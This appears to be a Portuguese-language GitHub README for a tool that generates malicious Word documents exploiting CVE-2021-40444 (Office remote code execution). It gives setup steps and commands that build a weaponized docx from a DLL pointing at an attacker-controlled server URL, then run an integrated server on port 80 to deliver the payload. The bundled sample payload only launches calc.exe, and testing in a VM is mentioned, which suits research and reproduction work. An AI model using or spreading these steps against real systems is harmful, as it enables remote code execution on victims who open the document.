hqdat809/cve-2021-40444Gerador malicioso de DOCX explorando CVE-2021-40444 para execução remota de código via documentos Office manipulados, com servidor de hospedagem integrado para entrega de payload.
Gerador de docx malicioso para explorar CVE-2021-40444 (Execução Remota de Código no Microsoft Office Word)
A criação deste script é baseada em engenharia reversa sobre a amostra utilizada na natureza: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (arquivo docx)
Você precisa instalar o lcab primeiro (sudo apt-get install lcab)
Verifique REPRODUCE.md para etapas manuais de reprodução
Se o seu cab gerado não estiver funcionando, tente apontar a URL do exploit.html para calc.cab
Primeiro, gere um documento docx malicioso a partir de uma DLL; você pode usar a que está em test/calc.dll, que apenas abre um calc.exe através de uma chamada para system()
python3 exploit.py generate test/calc.dll http://<SRV IP>
Depois de gerar o docx malicioso (estará em out/), você pode configurar o servidor:
sudo python3 exploit.py host 80
Por fim, experimente o docx em uma Máquina Virtual Windows:
